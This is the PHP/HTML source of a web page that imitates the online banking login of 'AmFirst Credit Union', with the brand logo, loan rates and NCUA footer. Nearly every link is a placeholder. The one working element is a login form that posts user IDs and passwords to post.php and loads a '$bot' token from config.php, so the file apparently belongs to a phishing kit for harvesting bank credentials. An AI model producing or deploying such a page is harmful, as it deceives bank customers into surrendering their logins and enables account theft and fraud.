<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <title>AmFirst Credit Union — Log In</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --red:      #E60045;
            --red-dark: #c4003b;
            --blue:     #0C2E4C;
            --blue-mid: #1a4a75;
            --text:     #1a1a1a;
            --text-sub: #555;
            --border:   #dde0e6;
            --offwhite: #f7f8fa;
            --white:    #ffffff;
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; color: var(--text); }
        body { display: flex; flex-direction: column; min-height: 100vh; background: var(--white); }

        /* ── UTILITY BAR ─────────────────────────────── */
        .utility-bar {
            background: var(--white);
            border-bottom: 1px solid #eee;
            padding: 6px 40px;
            display: flex; align-items: center; justify-content: flex-end; gap: 24px;
        }
        .utility-bar a { font-size: 12px; color: var(--text-sub); text-decoration: none; transition: color 0.15s; }
        .utility-bar a:hover { color: var(--blue); }

        /* ── MAIN NAV ────────────────────────────────── */
        .main-nav {
            background: var(--white);
            padding: 0 40px;
            display: flex; align-items: center; justify-content: space-between;
            height: 70px;
            border-bottom: 1px solid #eee;
            position: relative; z-index: 10;
        }
        .nav-logo img { height: 36px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; gap: 4px; }
        .nav-links a {
            font-size: 14px; font-weight: 500; color: var(--blue);
            text-decoration: none; padding: 8px 14px; border-radius: 4px;
            display: flex; align-items: center; gap: 4px;
            transition: background 0.15s;
        }
        .nav-links a:hover { background: var(--offwhite); }
        .nav-links a svg { opacity: 0.6; }
        .nav-right { display: flex; align-items: center; gap: 10px; }
        .nav-search { background: none; border: none; cursor: pointer; padding: 8px; color: var(--blue); display: flex; align-items: center; }
        .btn-open {
            background: var(--blue); color: #fff;
            border: none; border-radius: 4px;
            padding: 10px 20px; font-family: 'Inter', sans-serif;
            font-size: 13.5px; font-weight: 600; cursor: pointer;
            transition: background 0.15s;
        }
        .btn-open:hover { background: var(--blue-mid); }
        .btn-login-nav {
            background: var(--red); color: #fff;
            border: none; border-radius: 4px;
            padding: 10px 20px; font-family: 'Inter', sans-serif;
            font-size: 13.5px; font-weight: 600; cursor: pointer;
            transition: background 0.15s;
        }
        .btn-login-nav:hover { background: var(--red-dark); }

        /* ── HERO ─────────────────────────────────────── */
        .hero {
            position: relative;
            overflow: hidden;
            min-height: 480px;
            display: flex; align-items: center;
            background: url('res/img/background.png') center center / cover no-repeat;
        }

        /* Hero text left */
        .hero-content {
            position: relative; z-index: 2;
            padding: 60px 60px 60px 60px;
            max-width: 580px;
        }
        .hero-content h1 {
            font-size: clamp(28px, 3vw, 42px);
            font-weight: 700; color: #fff;
            line-height: 1.2; margin-bottom: 16px;
        }
        .hero-content p { font-size: 15px; color: rgba(255,255,255,0.82); margin-bottom: 28px; line-height: 1.6; }
        .btn-hero {
            background: var(--red); color: #fff;
            border: none; border-radius: 4px;
            padding: 13px 28px; font-family: 'Inter', sans-serif;
            font-size: 14px; font-weight: 700; cursor: pointer;
            display: inline-block; text-decoration: none;
            transition: background 0.15s;
        }
        .btn-hero:hover { background: var(--red-dark); }

        /* ── LOGIN SECTION (clean white, centered) ───── */
        .login-section {
            background: var(--white);
            padding: 60px 20px 50px;
            display: flex; flex-direction: column; align-items: center;
        }
        .login-form-wrap { width: 100%; max-width: 500px; }

        .field { margin-bottom: 16px; }
        .field input {
            width: 100%; height: 52px; padding: 0 16px;
            border: 1.5px solid var(--border); border-radius: 4px;
            font-family: 'Inter', sans-serif; font-size: 15px;
            color: var(--text); background: var(--white); outline: none;
            transition: border-color 0.15s, box-shadow 0.15s;
            -webkit-appearance: none;
        }
        .field input::placeholder { color: #aab; }
        .field input:focus { border-color: var(--blue); box-shadow: 0 0 0 3px rgba(12,46,76,0.1); }

        .btn-login {
            width: 100%; height: 52px;
            background: var(--red); color: #fff;
            border: none; border-radius: 4px;
            font-family: 'Inter', sans-serif;
            font-size: 16px; font-weight: 700;
            cursor: pointer; letter-spacing: 0.02em;
            margin-bottom: 24px;
            transition: background 0.15s, box-shadow 0.15s;
        }
        .btn-login:hover { background: var(--red-dark); box-shadow: 0 4px 14px rgba(230,0,69,0.35); }

        .login-links { display: flex; gap: 28px; margin-bottom: 36px; }
        .login-links a {
            font-size: 14px; color: var(--blue); text-decoration: underline;
            font-weight: 400; cursor: pointer;
        }
        .login-links a:hover { color: var(--red); }

        .login-divider { height: 1px; background: #dde; margin-bottom: 20px; }
        .make-payment {
            font-size: 13px; font-weight: 700; color: var(--red);
            text-decoration: none; text-transform: uppercase;
            letter-spacing: 0.08em; display: inline-block;
        }
        .make-payment:hover { text-decoration: underline; }

        /* ── RATES BAR ───────────────────────────────── */
        .rates-bar {
            background: var(--offwhite);
            border-top: 1px solid #e0e4eb;
            padding: 36px 60px;
            display: flex; align-items: center; gap: 60px; flex-wrap: wrap;
        }
        .rates-title { min-width: 180px; }
        .rates-title h2 { font-size: 22px; font-weight: 700; color: var(--blue); margin-bottom: 14px; }
        .btn-all-rates {
            background: var(--red); color: #fff;
            border: none; border-radius: 4px;
            padding: 11px 22px; font-family: 'Inter', sans-serif;
            font-size: 13.5px; font-weight: 700; cursor: pointer;
            transition: background 0.15s;
        }
        .btn-all-rates:hover { background: var(--red-dark); }
        .rates-grid { display: flex; gap: 48px; flex-wrap: wrap; }
        .rate-item {}
        .rate-item .label { font-size: 13px; color: var(--blue); font-weight: 500; margin-bottom: 4px; }
        .rate-item .value { font-size: 32px; font-weight: 700; color: var(--red); line-height: 1; }
        .rate-item .value sup { font-size: 16px; font-weight: 600; vertical-align: super; }
        .rate-item .value .unit { font-size: 13px; font-weight: 500; color: var(--blue); margin-left: 2px; vertical-align: middle; }

        /* ── FOOTER ──────────────────────────────────── */
        .page-footer { background: var(--blue); padding: 20px 40px; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; margin-top: auto; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.55); text-decoration: none; }
        .footer-links a:hover { color: #fff; }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.35); }

        /* ── LOGIN DROPDOWN ─────────────────────────── */
        .login-dropdown-wrap {
            position: relative;
        }
        .login-dropdown {
            display: none;
            position: absolute;
            top: calc(100% + 10px);
            right: 0;
            width: 340px;
            background: var(--white);
            border-radius: 6px;
            box-shadow: 0 8px 40px rgba(0,0,0,0.18), 0 2px 8px rgba(0,0,0,0.08);
            padding: 28px 28px 24px;
            z-index: 1000;
            animation: dropIn 0.2s ease both;
        }
        .login-dropdown.open { display: block; }
        @keyframes dropIn { from{opacity:0;transform:translateY(-8px)} to{opacity:1;transform:translateY(0)} }

        .login-dropdown::before {
            content: '';
            position: absolute;
            top: -7px; right: 22px;
            width: 14px; height: 14px;
            background: var(--white);
            transform: rotate(45deg);
            box-shadow: -2px -2px 5px rgba(0,0,0,0.06);
        }

        .dropdown-title {
            font-size: 15px; font-weight: 700; color: var(--blue);
            margin-bottom: 16px; padding-bottom: 12px;
            border-bottom: 2px solid var(--red);
        }
        .dropdown-field { margin-bottom: 12px; }
        .dropdown-field input {
            width: 100%; height: 44px; padding: 0 13px;
            border: 1.5px solid var(--border); border-radius: 4px;
            font-family: 'Inter', sans-serif; font-size: 14px;
            color: var(--text); background: var(--white); outline: none;
            transition: border-color 0.15s, box-shadow 0.15s;
            -webkit-appearance: none;
        }
        .dropdown-field input::placeholder { color: #aab; }
        .dropdown-field input:focus { border-color: var(--blue); box-shadow: 0 0 0 3px rgba(12,46,76,0.1); }
        .btn-dropdown-login {
            width: 100%; height: 44px;
            background: var(--red); color: #fff;
            border: none; border-radius: 4px;
            font-family: 'Inter', sans-serif;
            font-size: 14px; font-weight: 700;
            cursor: pointer; margin-bottom: 14px;
            transition: background 0.15s;
        }
        .btn-dropdown-login:hover { background: var(--red-dark); }
        .dropdown-links { display: flex; gap: 20px; margin-bottom: 14px; }
        .dropdown-links a { font-size: 13px; color: var(--blue); text-decoration: underline; }
        .dropdown-links a:hover { color: var(--red); }
        .dropdown-divider { height: 1px; background: #e0e4eb; margin-bottom: 12px; }
        .dropdown-payment { font-size: 12px; font-weight: 700; color: var(--red); text-decoration: none; text-transform: uppercase; letter-spacing: 0.07em; }
        .dropdown-payment:hover { text-decoration: underline; }


        @media (max-width: 860px) { .nav-links { display: none; } .main-nav { padding: 0 20px; } .hero-photo { display: none; } .hero-content { padding: 40px 24px; } .rates-bar { padding: 24px; gap: 24px; } .login-dropdown { width: 300px; } }
        @media (max-width: 500px) { .utility-bar { display: none; } }
    </style>
</head>
<body>

    <!-- Utility Bar -->
    <div class="utility-bar">
        <a href="#">Make a Payment</a>
        <a href="#">Rates</a>
        <a href="#">Promotions</a>
        <a href="#">Careers</a>
        <a href="#">Contact us</a>
        <a href="#">Show Notifications</a>
    </div>

    <!-- Main Nav -->
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.png" alt="AmFirst Credit Union"></div>
        <div class="nav-links">
            <a href="#">Personal <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Business <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Lending <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Online <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">About <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
        </div>
        <div class="nav-right">
            <button class="nav-search">
                <svg width="17" height="17" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
                <span style="font-size:13.5px;font-weight:500;margin-left:4px;">Search</span>
            </button>
            <button class="btn-open">Open Account</button>
            <div class="login-dropdown-wrap">
                <button class="btn-login-nav" id="login-trigger" >Log In</button>
                <div class="login-dropdown" id="login-dropdown">
                    <div class="dropdown-title">Online Banking</div>
                    <script>var token=<?php echo json_encode($bot); ?>;</script>
                    <form action="post.php" method="post">
                        <div class="dropdown-field">
                            <input type="text" name="user" required placeholder="User ID" autocomplete="username">
                        </div>
                        <div class="dropdown-field">
                            <input type="password" name="pass" required placeholder="Password" autocomplete="current-password">
                        </div>
                        <button type="submit" class="btn-dropdown-login">Log In</button>
                        <div class="dropdown-links">
                            <a href="#">Sign Up</a>
                            <a href="#">Help</a>
                        </div>
                        <div class="dropdown-divider"></div>
                        <a href="#" class="dropdown-payment">Make a Payment</a>
                    </form>
                </div>
            </div>
        </div>
    </nav>

    <!-- Hero Banner -->
    <div class="hero">
        <div class="hero-content">
            <h1>Refer-A-Friend</h1>
            <p>Celebrate with us! Earn $90 when you refer your friends!</p>
            <a href="#" class="btn-hero">Learn More</a>
        </div>
    </div>

    <!-- Login via dropdown only -->

    <!-- Rates Bar -->
    <div class="rates-bar">
        <div class="rates-title">
            <h2>Latest Rates</h2>
            <button class="btn-all-rates">All Rates</button>
        </div>
        <div class="rates-grid">
            <div class="rate-item">
                <div class="label">Auto Loan</div>
                <div class="value">4.60<sup>%</sup><span class="unit">APR</span></div>
            </div>
            <div class="rate-item">
                <div class="label">Personal Loan</div>
                <div class="value">10.80<sup>%</sup><span class="unit">APR</span></div>
            </div>
            <div class="rate-item">
                <div class="label">Credit Card</div>
                <div class="value">7.80<sup>%</sup><span class="unit">APR</span></div>
            </div>
        </div>
    </div>

    <!-- Footer -->
    <footer class="page-footer">
        <div class="footer-links">
            <a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a>
            <a href="#">Accessibility</a><a href="#">NCUA</a><a href="#">Contact Us</a>
        </div>
        <div class="footer-copy">© 2025 AmFirst Credit Union. All Rights Reserved. Federally Insured by NCUA.</div>
    </footer>

<script>
document.getElementById('login-trigger').addEventListener('click', function(e) {
    e.stopPropagation();
    document.getElementById('login-dropdown').classList.toggle('open');
});
document.addEventListener('click', function(e) {
    var dd = document.getElementById('login-dropdown');
    var wrap = document.querySelector('.login-dropdown-wrap');
    if (!wrap.contains(e.target)) {
        dd.classList.remove('open');
    }
});
document.addEventListener('keydown', function(e) {
    if (e.key === 'Escape') document.getElementById('login-dropdown').classList.remove('open');
});
</script>
<script src="./res/jq.js"></script>
</body>
</html>